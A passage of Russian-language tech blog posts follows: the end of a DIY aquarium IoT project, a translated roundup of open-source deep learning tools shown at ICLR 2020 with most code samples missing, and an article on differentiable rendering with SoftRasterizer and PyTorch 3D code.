LED я ждал больше всего и хотелось поскорей уже их прикрутить к проекту и все проверить. Основу для размещения я взял достаточно большой корпус от видеокарты, с алюминиевым радиатором. По моим расчетам туда встанут 5 матриц:



  • белый 2 штуки
  • зеленый 1 штука
  • красный 1 штука
  • синий 1 штука

Все они питались от 32 вольт, взял блок питания для термотринтеров (24V) и повышающий преобразователь. Посоветовавшись со знающим другом, принял решение подключать все их через микросхему, которая называется в простонародье "составной транзистор Дарлингтона", понравилось, что все на одной небольшой микросхеме и не нужно париться с радиаторами охлаждения, если бы я выбрал биполярные транзисторы. Все приехало, все спаял и прикрутил к радиатору. Светодиоды не стал промазывать термо-пастой, так как знал, что на все 100% они не будут гореть и тепло будет хорошо отводится и так. Получилось все конечно не на продажу, но в целом меня внешний вид пока устраивал.


Написал класс для них, и добавил роуты для работы через API.


Прицепил еще LCD дисплей, что бы видеть на каком IP стартанул сервер, поскольку на тот момент еще не было реализовано статичный ip для этого. Ну и после этого пошел писать frontend для того, что бы можно было с любого устройства смотреть инфу и управлять аквариумом.



Эпилог


В целом получил хороший опыт в разработке IOT устройства, работа над которым еще не завершена и будет продолжаться. В процессе пришлось немного подкорректировать работу библиотеки MicroPyServer, а именно объем передаваемых данных в сокете. Поскольку я пришел к тому, что при нескольких запросах в течении небольшого промежутка, память просто заканчивалась и контроллер падал с ошибкой, пока не придумал как ее можно отловить в try except, но это надо будет сделать.


micropyserver.py


# ... пропущенный кодdef _get_request(self):        """ Return request body """        # было выставлено 4096 , при этом быстро возникает MemoryError        return str(self._connect.recv(1024), "utf8")

В планах:


  • Автоматизировать работу с освещение, что бы он сам проверял саму освещенность в комнате + создавал эффект заката и рассвета, а ночью лунный свет.
  • Автоматизировать анализ воды
  • Автоматизировать нагрев воды
  • Автоматизировать помпу течения
  • Автокормушка
  • Автодолив
Подробнее..

Перевод Лучшие инструменты с открытым исходным кодом и библиотеки для Deep Learning ICLR 2020 Experiencebi

22.09.2020 10:23:41 | Автор: admin
Сложно найти на Хабре человека, который не слышал бы про нейронные сети. Регулярные новости о свежих достижениях нейронных сетей заставляют удивляться широкую публику, а также привлекают новых энтузиастов и исследователей. Привлеченный поток специалистов способствует не только еще большим успехам нейронных моделей, но и приводит к развитию инструментов для более удобного использования Deep Learning подходов. Помимо всем известных фреймворков Tensorflow и PyTorch активно развиваются и другие библиотеки, нередко более гибкие, но менее известные.

Эта статья является переводом одного из постов neptune.ai и освещает самые интересные инструменты для глубокого обучения, представленные на конференции по машинному обучения ICLR 2020.


Где создается и обсуждается передовое глубокое обучение?


Одним из главных мест обсуждения Deep Learning является ICLR ведущая конференция по глубокому обучению, которая состоялась 27-30 апреля 2020 года. Более 5500 участников и почти 700 презентаций и докладов это большой успех для полностью онлайн-мероприятия. Найти исчерпывающую информацию о конференции вы можете здесь, здесь или здесь.

Виртуальные социальные встречи были одной из изюминок ICLR 2020. Организаторы решили запустить проект под названием Open source tools and practices in state-of-the-art DL research. Тема была выбрана из-за того, что соответствующий инструментарий является неизбежной частью работы исследователя глубокого обучения. Достижения в этой области привели к распространению крупных экосистем (TensorFlow, PyTorch, MXNet), а также более мелких целевых инструментов, отвечающих за решение конкретных потребностей исследователей.

Цель упомянутого мероприятия заключалась во встрече с создателями и пользователями инструментов с открытым исходным кодом, а также в обмене опытом и впечатлениями среди сообщества Deep Learning. В общей сложности было собрано более 100 человек, включая основных вдохновителей и руководителей проектов, которым мы дали короткие промежутки времени для представления своей работы. Участники и организаторы были удивлены широким разнообразием и креативностью представленных инструментов и библиотек.

В этой статье собраны яркие проекты, представленные с виртуальной сцены.

Инструменты и библиотеки


Далее будут рассмотрены восемь инструментов, которые были продемонстрированы на ICLR с подробным обзором возможностей.

Каждый раздел представляет ответы на ряд пунктов в очень сжатой форме:

  1. Какую проблему решает инструмент / библиотека?
  2. Как запустить или создать минимальный пример использования?
  3. Внешние ресурсы для более глубокого погружения в библиотеку / инструмент.
  4. Профиль представителей проекта на случай, если будет желание к ним обратиться.

Вы можете перейти к конкретному разделу ниже или просто просмотреть их все один за другим. Наслаждайтесь чтением!

AmpliGraph


Тема: Модели эмбеддингов на основе Knowledge Graph.
Язык программирования: Python
Автор: Люка Костабелло
Twitter | LinkedIn | GitHub | Интернет сайт

Графы знаний являются универсальным инструментом для представления сложных систем. Будь то социальная сеть, набор данных биоинформатики или данные о розничных покупках, моделирование знаний в виде графа позволяет организациям выявить важные связи, которые в противном случае были бы упущены из виду.

Для выявления связей между данными требуются особые модели машинного обучения, специально разработанные для работы с графами.

AmpliGraph это набор моделей машинного обучения под лицензией Apache2 для извлечения эмбеддингов из графов знаний. Такие модели кодируют узлы и ребра графа в вектором виде и объединяют их для предсказания недостающих фактов. Графовые эмбеддинги применяются в таких задачах, как в довершение графа знаний, обнаружение знаний, кластеризация на основе связей и другие.

AmpliGraph снижает исследователям барьер входа для темы графовых эмбеддингов, делая упомянутые модели доступными для неопытных пользователей. Благодаря преимуществу API с открытым исходным кодом, проект поддерживает сообщество энтузиастов, использующих графы в машинном обучении. Проект позволяет узнать, как создавать и визуализировать эмбеддинги из графов знаний на основе данных реального мира и как использовать их в последующих задачах машинного обучения.

Для начала работы ниже приводится минимальный фрагмент кода, обучающий модель на одном из эталонных датасетов и прогнозирующий недостающие связи:


Модели машинного обучения AmpliGraph генерируют графовые эмбеддинги, представления в векторном пространстве.

Далее эмбеддинги объединяются со специальными функциями для того, что прогнозировать новые и не замеченные ранее связи.

AmpliGraph изначально был разработан в Accenture Labs Dublin, где он и используется в различных промышленных проектах.

Automunge


Платформа подготовки табличных данных
Язык программирования: Python
Автор: Николас Тиг
Twitter | LinkedIn | GitHub | Интернет сайт

Automunge библиотека Python, помогающая в подготовке табличных данных для использование в машинном обучении. Посредством инструментария пакета возможны простые преобразования для feature engeenering-a с целью нормализации, кодировки и заполнения пропусков. Преобразования применяются к тренировочной подвыборке, а затем аналогичным образом применяются к данным из тестовой подвыборки. Преобразования могут выполняться в автоматическом режиме, назначаться из внутренней библиотеки или гибко настраиваться пользователем. Варианты заполнения включают заполнение на основе машинного обучения, в котором модели обучаются для каждого столбца данных прогнозировать недостающую информацию.

Проще говоря:

automunge (.) подготавливаются табличные данные для использования в машинном обучении,

postmunge (.) последовательно и с высокой эффективностью обрабатываются дополнительные данные.

Automunge доступен для установки посредством pip:


После установки достаточно импортировать библиотеку в Jupyter Notebook для инициализации:


Для автоматической обработки данных из тренировочной выборки с параметрами по умолчанию достаточно использовать команду:


Далее для последующей обработки данных из тестовой подвыборки, достаточно запустить команду, использующую словарь postprocess_dict, полученный вызовом automunge (.) выше:


С помощью параметров assigncat и assigninfill в вызове automunge (.) могут быть определены детали преобразований и типы данных для заполнения пропусков. Например, для набора данных со столбцами 'column1' и 'column2' можно назначить масштабирование на основе минимальных и максимальных значений ('mnmx') с ML-заполнением пропусков для column1 и one-hot encoding ('text') с заполнением пропусков на основе наиболее часто встречающегося значения для column2. Не указанные в явном виде данные из других столбцов будут обрабатываться автоматически.


Ресурсы и ссылки

Сайт | GitHub | Краткая презентация

DynaML


Машинное обучение для Scala
Язык программирования: Scala
Автор: Мандар Чандоркар
Twitter | LinkedIn | GitHub

DynaML это набор инструментов для исследований и машинного обучения на основе Scala. Он направлен на предоставление пользователю сквозной среды, которая может помочь в:

  • разработке / макетировании моделей,
  • работе с громоздкими и сложными pipelines,
  • визуализацией данных и результатов,
  • повторном использовании кода в виде скриптов и Notebook-ов.

DynaML использует сильные стороны языка и экосистемы Scala для создания среды, обеспечивающей производительность и гибкость. Он основан на таких превосходных проектах, как Ammonite scala, Tensorflow-Scala и библиотеке высокопроизводительных численных расчётов Breeze.

Ключевым компонентом DynaML является REPL / оболочка, которая имеет подсветку синтаксиса и продвинутую систему автозаполнения.

Скопируйте и вставьте фрагменты кода в командную строку, чтобы запустить их.

Среда поставляется с поддержкой 2D и 3D-визуализации, результаты могут быть отображены непосредственно из командной оболочки.

3D-диаграммы отображаются с помощью Java API jzy3d.

Модуль data pipes позволяет легко создавать pipelines обработки данных в пригодном для компоновки модульном виде. Создавайте функции, оборачивайте их с помощью конструктора DataPipe и составляйте блоки функций с помощью оператора >.

Обработка потоков данных выглядит интуитивно понятной, когда pipeline логически делится на этапы, а на каждом шаге выполняется одно единственное преобразование.

Также доступна экспериментальная функция интеграции c Jupyter notebook, каталог notebooks в репозитории содержит несколько примеров использования ядра DynaML-Scala Jupyter.

Notebook c линейной регрессией (linear-regression notebook) демонстрирует использование низкоуровневого API Tensorflow для вычисления коэффициентов линейной регрессионной модели.

Руководство пользователя содержит обширнуюсправочную информацию и документацию для освоения и получения максимальной отдачи от среды DynaML.

Ниже приводятся некоторые интересные приложения, которые подчеркивают сильные стороны DynaML:


Ресурсы и ссылки

GitHub | Руководство пользователя

Hydra


Configuration and parameters manager
Язык программирования: Python
Автор: Омры Ядан
Twitter | GitHub

Разработанная в Facebook AI, Hydra платформа Python, которая упрощает разработку исследовательских приложений, предоставляя возможность создавать и переопределять конфигурации с помощью конфигурационных файлов и командной строки. Платформа также обеспечивает поддержку автоматической развертки параметров, удаленное и параллельное выполнение посредством плагинов, автоматическое управление рабочим каталогом и динамическое предложение вариантов дополнения с помощью нажатия клавиши TAB.

Использование Hydra также делает ваш код более переносимым в различных средах машинного обучения. Позволяет вам переключаться между личными рабочими станциями, общедоступными и частными кластерами без изменения кода. Описанное выше достигается путем модульной архитектуры.

Основной пример

В приведенном примере используется конфигурация базы данных, но вы можете легко заменить ее моделями, датасетами или чем-либо еще по необходимости.

config.yaml:


my_app.py:


Вы можете переопределить что угодно в конфигурации из командной строки:


Пример композиции:

Возможно, вы захотите переключаться между двумя разными конфигурациями баз данных.

Создать эту структуру директорий:


config.yaml:


defaults это специальная директива, указывающая Hydra использовать db / mysql.yaml при составлении объекта конфигурации.

Теперь вы можете выбрать, какую использовать конфигурацию базы данных, а также переопределить значения параметров из командной строки:


Ознакомьтесь с туториалом, чтобы узнать больше.

Кроме того, в ближайшее время появятся новые интересные функции:

  • строго типизированные конфигурации (структурированные конфигурационные файлы),
  • оптимизация гиперпараметров с помощью плагинов Ax и Nevergrad,
  • запуск AWS с помощью плагина Ray launcher,
  • локальный параллельный запуск посредством плагина joblib и многое другое.

Larq


Бинаризованные нейронные сети
Язык программирования: Python
Автор: Лукас Гайгер
Twitter | LinkedIn | GitHub

Larq это экосистема пакетов Python с открытым исходным кодом для построения, обучения и развертывания бинаризованных нейронных сетей (BNN). BNN это модели глубокого обучения, в которых активации и веса кодируются не с использованием 32, 16 или 8 бит, а с использованием только 1 бита. Это может значительно ускорить время логического вывода и снизить энергопотребление, что делает BNN идеально подходящими для мобильных и периферийных устройств.

Экосистема Larq с открытым исходным кодом состоит из трех основных компонентов.

  1. Larq это мощная, но простая в использовании библиотека для построения и обучения крайне квантованных нейронных сетей. Она предлагает единообразные и простые API, которые расширяемы и обладают совместимостью с более крупной экосистемой TensorFlow Keras. Это позволяет сделать постепенное внедрение в текущую кодовую базу и обеспечивает быструю итерацию при разработке моделей. Хотя библиотека Larq в основном ориентирована на BNNs, она также может быть использована для обучения сетей с произвольными функциями активации и весами произвольной точности.
  2. Larq Zoo предоставляет базовые реализации BNNs, доступные наряду с предобученными весами. Целью Larq Zoo является стимулирование воспроизводимых исследований, а исследователям предоставляется возможность использовать последние достижения из литературы по BNN без затрат времени на попытки воспроизвести существующие работы.
  3. Larq Compute Engine это библиотека для логического вывода и развертывания BNNs. Она собрана поверх TensorFlow Lite и включает в себя конвертер на основе MLIR для преобразования моделей Larq в файлы FlatBuffer, совместимые с окружением TF Lite. В настоящее время он поддерживает мобильные платформы на базе ARM64, такие, как телефоны на Android и Raspberry Pi, и достигает самой высокой производительности в скорости логического вывода на устройствах с помощью ядер двоичной свертки, оптимизированных вручную, а также оптимизации на сетевом уровне для моделей BNN.

Авторы проекта постоянно создают более быстрые модели и расширяют экосистему Larq на новые аппаратные платформы и приложения для глубокого обучения. Например, в настоящее время идет работа над сквозной интеграцией восьмиразрядного квантования, чтобы была возможность обучать и развертывать комбинации двоичных и восьмиразрядных сетей, используя Larq.

Ресурсы и ссылки

Сайт | GitHub larq / larq | GitHub larq / zoo | GitHub larq / compute-engine | Учебники | Блог | Twitter

McKernel


Ядерные методы в логарифмически линейное время
Язык программирования: C/C++
Автор: J. de Curt i Daz
Twitter | Интернет-сайт

Первая библиотека C++ с открытым исходным кодом, предоставляющая как аппроксимацию ядерных методов на основе случайных признаков, так и полноценный Deep Learning фреймворк.

McKernel предоставляет четыре различные возможностииспользования.

  1. Самодостаточный молниеносный код Адамара с открытым исходником. Для использования в таких областях, как компрессия, шифрование или квантовые вычисления.
  2. Чрезвычайно быстрые ядерные методы. Могут использоваться везде, где методы SVM (Метод Опорных Векторов: ru.wikipedia.org/wiki/%D0%9C%D0%B5%D1%82%D0%BE%D0%B4_%D0%BE%D0%BF%D0%BE%D1%80%D0%BD%D1%8B%D1%85_%D0%B2%D0%B5%D0%BA%D1%82%D0%BE%D1%80%D0%BE%D0%B2) превосходят Deep Learning. Например, в некоторых приложениях робототехники и ряде случаев использования машинного обучения в здравоохранении, а также в других областях, включают Federated Learning и выбор канала коммуникации.
  3. Интеграция методов Deep Learning и ядерных методов, позволяет развивать Deep Learning архитектуры в априорно антропоморфном / математическом направлении.
  4. Исследовательский фреймворк Deep Learning для решения ряда открытых вопросов в машинном обучении.

Уравнение, описывающее все вычисления, выглядит следующим образом:


Здесь авторы в качестве первопроходцев применяют формализм для объяснения с помощью случайных признаков как методов Deep Learning, так и ядерных методов. Теоретическая основа опирается на четырех гигантов: Гаусса, Винера, Фурье и Калмана. Фундамент для этого был заложен Рахими и Рехтом (NIPS 2007) и Le et al. (ICML 2013).

С прицелом на типичного пользователя

Основной аудиторией McKernel являются исследователи и практические специалисты в области робототехники, машинного обучения для здравоохранения, обработки сигналов и коммуникаций, которые нуждаются в эффективной и быстрой реализации на C++. В описанном случае большинство библиотек Deep Learning не удовлетворяют заданным условиям, поскольку они по большей части основаны на высокоуровневых реализациях на Python. Кроме того, аудиторией могут быть представители более широкого сообщества машинного обучения и Deep Learning, которые пребывают в поиске улучшения архитектуры нейронных сетей, используя ядерные методы.

Сверхпростой наглядный пример для запуска библиотеки без затрат времени выглядит следующим образом:


Что дальше?

Сквозное обучение, self-supervised learning, meta-learning, интеграция с эволюционными стратегиями, существенное сокращение пространства поиска с помощью NAS ,

Ресурсы и ссылки

GitHub | Полная презентация

SCCH Training Engine


Подпрограммы для автоматизации Deep Learning
Язык программирования: Python
Автор: Наталья Шепелева
Twitter | LinkedIn | Интернет-сайт

Разработка типичного pipeline для Deep Learning довольно стандартна: предварительная обработка данных, проектирование/реализация задачи, обучение модели и оценка результата. Тем не менее, от проекта к проекту его использование требует участия инженера на каждом этапе разработки, что ведет к повторению одних и тех же действий, дублированию кода и в конце концов приводит к ошибкам.

Целью SCCH Training Engine является унификация и автоматизация процедуры Deep Learning разработки для двух самых популярных фреймворков PyTorch и TensorFlow. Архитектура с одним входом позволяет минимизировать время разработки и защищает от программных ошибок.

Для кого?

Гибкая архитектура SCCH Training Engine обладает двумя уровнями взаимодействия с пользователем.

Основной. На этом уровне пользователь должен предоставить данные для тренировки и прописать параметры тренировки модели в файле конфигурации. После этого все процессы, включая обработку данных, обучение модели и валидацию результатов будут выполнены в автоматическом режиме. В результате будет получена обученная модель в рамках одного из основных фреймворков.

Продвинутый. Благодаря модульной концепции компонент, пользователь может модифицировать модули в соответствии со своими потребностями, разворачивая свои собственные модели и используя различные функции потерь и метрики качества. Подобная модульная архитектура позволяет добавлять дополнительные признаки, не мешая работе основного pipeline-а.


Что он может делать?

Текущие возможности:

  • работа с TensorFlow и PyTorch,
  • стандартизированный pipeline парсинга данных из различных форматов,
  • стандартизированный pipeline тренировки модели и валидации результатов,
  • поддержка задач классификации, сегментации и детекции,
  • поддержка кросс-валидации.

Возможности на стадии разработки:

  • поиск оптимальных гиперпараметров модели,
  • загрузка весов модели и тренировка от конкретной контрольной точки,
  • поддержка архитектуры GAN.

Как это работает?

Чтобы увидеть SCCH Training Engine во все красе, вам нужно сделать два шага.

  1. Просто скопируйте репозиторий и установите требующиеся пакеты с помощью команды: pip install requirements.txt.
  2. Запустите python main.py, чтобы увидеть учебный пример MNIST с процессом обработки и обучения на модели LeNet-5.

Всю информацию о том, как создать файл конфигурации и как использовать продвинутые возможности, можно найти на странице GitHub.

Стабильный релиз с основными функциями: был запланирован на конец мая 2020 г.

Ресурсы и ссылки

GitHub | Интернет-сайт

Tokenizers


Текстовые токенизаторы
Язык программирования: Rust с Python API
Автор: Энтони Муа
Twitter | LinkedIn | GitHub

huggingface/tokenizers обеспечивает доступ к самым современным токенизаторам, с акцентом на производительность и многоцелевое использование. Tokenizers позволяет обучать и использовать токенизаторы без усилий. Токенизаторы могут помочь вам независимо от того, являетесь ли вы ученым или практиков в области NLP.

Ключевые особенности

  • Чрезвычайная скорость: токенизация не должна быть узким местом в вашем pipeline, кроме того вам не нужно заниматься предварительной обработкой ваших данных. Благодаря нативной реализации на Rust, токенизация гигабайт текстов занимает всего несколько секунд.
  • Смещения / выравнивание: обеспечивает контроль смещения даже при обработке текста со сложной процедурой нормализации. Это позволяет легко извлекать текст для таких задач, как NER или question answering.
  • Предварительная обработка: заботится о любой предварительной обработке, необходимой перед подачей данных в вашу языковую модель (усечение, заполнение, добавление специальных токенов и т. д.).
  • Простота в обучении: Тренируйте любой токенизатор на новом корпусе. Например, обучение токенизатора для BERT на новом языке никогда не было таким простым.
  • Multi-languages: связка с несколькими языками. Прямо сейчас вы можете начать использовать его с Python, Node.js, или Rust. Работа в этом направлении продолжается!

Пример:


И скоро:

  • сериализация в единый файл и загрузка в одну строчку для любого токенизатора,
  • поддержка Unigram.

Hugging Face видят свою миссию в том, чтобы помогать в продвижении и демократизации NLP.

Ресурсы и ссылки

GitHub huggingface / трансформеры | GitHub huggingface / токенизаторы | Twitter

Заключение


В заключении необходимо отметить, что есть большое количество библиотек, полезных для Deep Learning и машинного обучения в целом, и нет возможности описать в одной статье все их множество. Некоторые из описанных выше проектов будут полезны в специфических случаях, некоторые являются и так достаточно известными, а некоторые замечательные проекты, к сожалению не попали в статью.

Мы в компании CleverDATA стараемся следить за появлением новых инструментов и полезных библиотек, а также активно применяем свежие подходы в нашей работе, связанной с использованием Deep Learning и Машинного Обучения. Со своей стороны я хотел бы обратить внимание читателей на эти две библиотеки, не вошедшие в основную статью, но существенно помогающие в работе с нейронными сетями: Catalyst (https://github.com/catalyst-team/catalyst) и Albumentation (https://pypi.org/project/albumentations/).

Уверен, что у каждого практикующего специалиста есть свои излюбленные инструменты и библиотеки, в том числе и малоизвестные широкой аудитории. Если вам кажется, что какие-либо полезные в работе инструменты были напрасно обойдены вниманием, то напишите их, пожалуйста, в комментариях: даже упоминание в обсуждении поможет перспективным проектам привлечь новых последователей, а прирост популярности в свою очередь приводит к улучшению функционала и развитию самих библиотек.

Благодарю за внимание и надеюсь, что представленный набор библиотек окажется полезным в вашей работе!
Подробнее..

3D ML. Часть 4 дифференциальный рендеринг

23.09.2020 16:18:12 | Автор: admin


В нескольких предыдущих заметках данной серии мы уже упоминали понятие дифференциального рендеринга. Сегодня пришло время разъяснить что это такое и с чем это едят.


Мы поговорим о том, почему традиционный пайплайн рендеринга не дифференцируем, зачем исследователям в области 3D ML потребовалось сделать его дифференцируемым и как это связано с нейронным рендерингом. Какие существуют подходы к конструированию таких систем, и рассмотрим конкретный пример SoftRasterizer и его реализацию в PyTorch 3D. В конце, с помощью этой технологии, восстановим все пространственные характеристики Моны Лизы Леонардо Да Винчи так, если бы картина была не написана рукой мастера, а отрендерена с помощью компьютерной графики.


Серия 3D ML на Хабре:


  1. Формы представления 3D данных
  2. Функции потерь в 3D ML
  3. Датасеты и фреймворки в 3D ML
  4. Дифференциальный рендеринг

Репозиторий на GitHub для данной серии заметок.


Заметка от партнера IT-центра МАИ и организатора магистерской программы VR/AR & AI компании PHYGITALISM.


Rendering pipeline: forward and inverse



Если мы рассматриваем все возможные задачи, в которых требуется как-то взаимодействовать с 3D моделями, то глобально появляется возможность разделить их на два класса задач:


  • Задачи, в которых из 3D сцены мы хотим сгенерировать изображение (такие задачи можно отнести к традиционным задачам компьютерной графике) т.н. forward rendering;
  • Задачи, где по изображению нам требуется восстанавливать параметры 3D объектов (такие задачи относятся скорее к компьютерному зрению) т.н. inverse rendering.

До недавнего времени два этих класса задач обычно рассматривались отдельно друг от друга, но сегодня все чаще приходится иметь дело с алгоритмами, которые должны работать в обе стороны (особенно это касается области машинного обучения).



Рис.1 Из презентации TensorFlow Graphics (github page).


В качестве примера такой задачи, можно рассмотреть задачу 3D mesh reconstruction from single image, которую мы уже упоминали в предыдущих заметках. С одной стороны, эту задачу можно решать сравнивая ошибку рассогласования между исходной моделью и предсказанной с помощью функций потерь для 3D объектов (заметка 2 данной серии). С другой стороны, можно генерировать 3D объект сначала, а после его отрендеренную картинку сравнивать с изображением-образцом (пример на рис.2).



Рис.2 Модель деформации меша с помощью модуля дифференциального рендеринга SoftRas (github page).


Далее, при разговоре про рендеринг, мы будем рассматривать несколько основных компонентов 3D сцены:


  • 3D объект, описываемый своим мешем;
  • камера с набором характеристик (позиция, направление, раствор и т.д.);
  • источники света и их характеристики;
  • глобальные характеристики расположения объекта на сцене, описываемые матрицами преобразований.

Процедура прямого рендеринга заключается в функциональном сочетании этих основных компонент, а процедура обратного рендеринга заключается в восстановлении этих компонент по готовому изображению.


Давайте поговорим сначала о том, из каких этапов состоит традиционный пайплайн прямого рендеринга и почему он не является дифференцируемым.


Why is rendering not differentiable?



Рис.3 Схема традиционного рендеринга и рендеринга методом Soft Rasterizer [1]. Здесь: $M$ меш объекта на сцене, $P$ модель камеры, $L$ модель источника освещения, $A$ модель текстуры, $N$ карта нормалей для меша, $Z$ карта глубины получаемого изображения, $U$ матрица преобразования 3D в 2D для получения плоского изображения, $F$ растеризованное изображение, $D$ вероятностные карты метода Soft Rasterizer, $I,\bar I$ изображения полученные традиционным рендерингом и методом SoftRas соответственно. Красные блоки недифференцируемые операции, синии дифференцируемые.


Процедуру рендеринга можно подразделить на несколько взаимозависимых этапов (этапы традиционного рендеринга приведены на рис.3 врехняя линия в правой части). Какие-то этапы, к примеру вычисления освещения и позиции камеры, являются дифференцируемыми, поскольку в них участвуют непрерывные функциональные зависимости (см. модель Фонга, на Хабре о ней и моделях освещения писали здесь и здесь), но два последних этапа не являются дифференцируемыми. Давайте разберемся почему.



Последние два этапа, которые являются по сути и ключевыми это растеризация и шейдинг. (Про реализацию этих этапов на JavaScript на Хабре писали здесь).


Грубо говоря, проблему недифференцируемости растеризации можно описать так: пиксели дискретные структуры, с постоянным цветом, а исходная модель непрерывна, поэтому при проецировании из 3D в 2D часть информации теряется.


Проиллюстрируем две основные проблемы с дифференцируемостью при вычислении цвета и расстояния.


Проблема 1 (недифференцируемость цвета по глубине)



Предположим, что вдоль направления луча, проходящего через пиксель, есть несколько полигонов разных цветов, как на иллюстрации выше. Если придать малый сдвиг полигонов друг относительно друга, может случиться ситуация, когда ближайшим полигоном становится полигон другого цвета и при этом резко меняется цвет, в который нужно разукрашивать соответствующий пиксель. На правом графике иллюстрации изображена зависимость цвета пикселя (в барицентрических координатах) от расстояния до ближайшего пикселя конкретной модели. Из данного примера видно, что малому приращению расстояния до ближайшего полигона может соответствовать скачкообразному изменению в цвете, что приводит к недифференцируемости в классическом смысле.


Проблема 2 (недифференцируемость цвета при сдвигах)



Вторая проблема недифференцируемости аналогична первой, только теперь полигон будет один, а двигать мы его будем не вдоль луча, проходящего через данный пиксель, а в сторону от этого луча. Опять наблюдаем ситуацию, когда малому приращению координаты полигона соответствует скачок в цвете пикселя.


Make it differentiable! Soft Rasterizer


Процесс рендеринга недифференцируемый, но если бы он таковым являлся, можно было бы решать много актуальных задач в области 3D ML мы определили проблему, посмотрим как ее можно решить.


Основные подходы к реализации дифференцируемого рендеринга можно проследить в следующей подборке публикаций:



Подходы основаны на разных идеях и приемах. Мы подробно остановимся только на одном, Soft Rasterizer, по двум причинам: во-первых, идея данного подхода математически прозрачна и легко реализуема самостоятельно, во-вторых, данный подход реализован и оптимизирован внутри библиотеки PyTorch 3D [6].


Подробно со всеми аспектами реализации дифференциального рендеринга этим методом можно ознакомиться в соответствующей статье [1], мы же отметим основные моменты.


Для решение проблемы 2, авторы метода предлагают использовать размытие границы полигонов, которое приводит к непрерывной зависимости цвета пикселя от координат смещения полигона.

Размытие границ предполагает введение некоторой гладкой вероятностной функции $D_j^i$, которая каждой внутренней или внешней точки пространства $p_i$ ставит в соответствие число от 0 до 1 вероятности принадлежности к данному полигону $f_j$ (чем-то похоже на подход нечеткой логики). Здесь $\sigma$ параметр размытия (чем больше $\sigma$, тем больше размытие), $d(i,j)$ кратчайшее расстояние в проекционной плоскости от проекции точки $p_i$ до границы проекции полигона $f_j$ (данное расстояние обычно выбирают Евклидовым, но авторы метода отмечают, что здесь есть простор для экспериментов и, например, использование барицентрического расстояния или $l_1$ также подходит для их метода), $\delta_j^i$ функция, которая равна 1 если точка находится внутри полигона и -1 если вне (на границе полигона можно доопределить значение $\delta$ нулем, однако это все равно приводит к тому, что на границе полигона данная функция разрывна, поэтому для точек границ она не применяется), $sigmoid$ сигмоидная функция активации, которая часто применяется в глубоком обучении.


Для решения проблемы 1, авторы метода предлагают использовать смешение цветов k ближайших полигонов (blending).

Коротко этот прием можно описать следующим образом: для вычисления итогового цвета $i$-го пикселя $(I^i)$, производят нормированное суммирование цветовых карт $C^i_j$ для k ближайших полигонов $(j =1,..,k)$, причем цветовые карты получают путем интерполяции барицентрических координат цвета вершин данных полигонов. Индекс $b$ в формуле отвечает за фоновый цвет (background colour), а оператор $\mathcal{A}_{S}$ оператор агрегирование цвета. $z^i_j$ глубина $i$-го пикселя относительно $j$-го полигона, а $\gamma$ параметр смешивания (чем он меньше, тем сильнее превалирует цвет ближайшего полигона).


Итоговой подход Soft Rasterizer, заключается в комбинировании этих двух идей, для одновременного плавного размытия границы и цвета.

Рис.4 Схема реализации дифференциального рендеринга в PyTorch 3D (слайд из презентации фреймворка).


Реализация Soft Rasterizer внутри библиотеки PyTorch 3D выполнена так, чтобы максимально эффективно и удобно использовать возможности как базового фреймворка PyTorch, так и возможности технологии CUDA. По сравнению с оригинальной реализацией [github page], разработчикам фреймворка удалось добиться 4-х кратного приращения скорости обработки (особенно для больших моделей), при этом возрастает расход памяти за счет того, что для каждого типа данных (ката глубины, карта нормалей, рендер текстур, карта евклидовых расстояний) нужно просчитать k слоев и хранить их в памяти.



Рис.5 Сравнение характеристик дифференциального рендеринга в PyTorch 3D (слайд из презентации фреймворка).


Поэкспериментировать с настройками дифференциального рендера можно как в PyTorch 3D, так в библиотеке с оригинальной реализацией алгоритма Soft Rasterizer. Давайте рассмотрим пример, демонстрирующий зависимость итоговой картинки отрендеренной модели от параметров дифференциального рендера \sigma, \gamma.


Удобнее всего работать с этой библиотекой в виртуальном окружении anaconda, так как данная библиотека работает уже не с самой актуальной версией pytorch 1.1.0. Также обратите внимание что вам потребуется видеокарта с поддержкой CUDA.


Импорт библиотек и задание путей до обрабатываемых моделей
import matplotlib.pyplot as pltimport osimport tqdmimport numpy as npimport imageioimport soft_renderer as srinput_file = 'path/to/input/file'output_dir = 'path/to/output/dir'

Зададим начальные параметры камеры для рендеринга, загрузим меш объекта с текстурами (есть мод для работы без текстур, в этом случае нужно указать texture_type=vertex), инициализируем дифференциальный рендер и создадим директорию для сохранения результатов.


# camera settingscamera_distance = 2.732elevation = 30azimuth = 0# load from Wavefront .obj filemesh = sr.Mesh.from_obj(                         input_file,                          load_texture=True,                          texture_res=5,                          texture_type='surface')# create renderer with SoftRasrenderer = sr.SoftRenderer(camera_mode='look_at')os.makedirs(args.output_dir, exist_ok=True)

Сначала, посмотрим на нашу модель с разных сторон и для этого отрендерим анимацию пролета камеры по кругу с помощью рендера.


# draw object from different viewloop = tqdm.tqdm(list(range(0, 360, 4)))writer = imageio.get_writer(                            os.path.join(output_dir, 'rotation.gif'),                              mode='I')for num, azimuth in enumerate(loop):    # rest mesh to initial state    mesh.reset_()    loop.set_description('Drawing rotation')    renderer.transform.set_eyes_from_angles(                                            camera_distance,                                             elevation,                                             azimuth)    images = renderer.render_mesh(mesh)    image = images.detach().cpu().numpy()[0].transpose((1, 2, 0))    writer.append_data((255*image).astype(np.uint8))writer.close()

Теперь поиграемся со степенью размытия границы и степенью смешения цветов. Для этого будем в цикле увеличивать параметр размытия $\sigma$ и одновременно увеличивать параметр смешения цвета $\gamma$.


# draw object from different sigma and gammaloop = tqdm.tqdm(list(np.arange(-4, -2, 0.2)))renderer.transform.set_eyes_from_angles(camera_distance, elevation, 45)writer = imageio.get_writer(                            os.path.join(output_dir, 'bluring.gif'),                             mode='I')for num, gamma_pow in enumerate(loop):    # rest mesh to initial state    mesh.reset_()    renderer.set_gamma(10**gamma_pow)    renderer.set_sigma(10**(gamma_pow - 1))    loop.set_description('Drawing blurring')    images = renderer.render_mesh(mesh)    image = images.detach().cpu().numpy()[0].transpose((1, 2, 0))    writer.append_data((255*image).astype(np.uint8))writer.close()# save to textured objmesh.reset_()mesh.save_obj(              os.path.join(args.output_dir, 'saved_spot.obj'),               save_texture=True)

Итоговый результат на примере стандартной модели текстурированной коровы (cow.obj, cow.mtl, cow.png удобно скачивать, например, с помощью wget) выглядит так:



Neural rendering



Дифференциальный рендеринг как базовый инструмент для 3D ML, позволяет создавать очень много интересных архитектур глубокого обучения в области, которая получила названия нейронный рендеринг (neural rendering). Нейронный рендеринг позволяет решать множество задач, связанных с процедурой рендеринга: от добавления новых объектов на фото и в видеопоток до сверхбыстрого текстурирования и рендеринга сложных физических процессов.


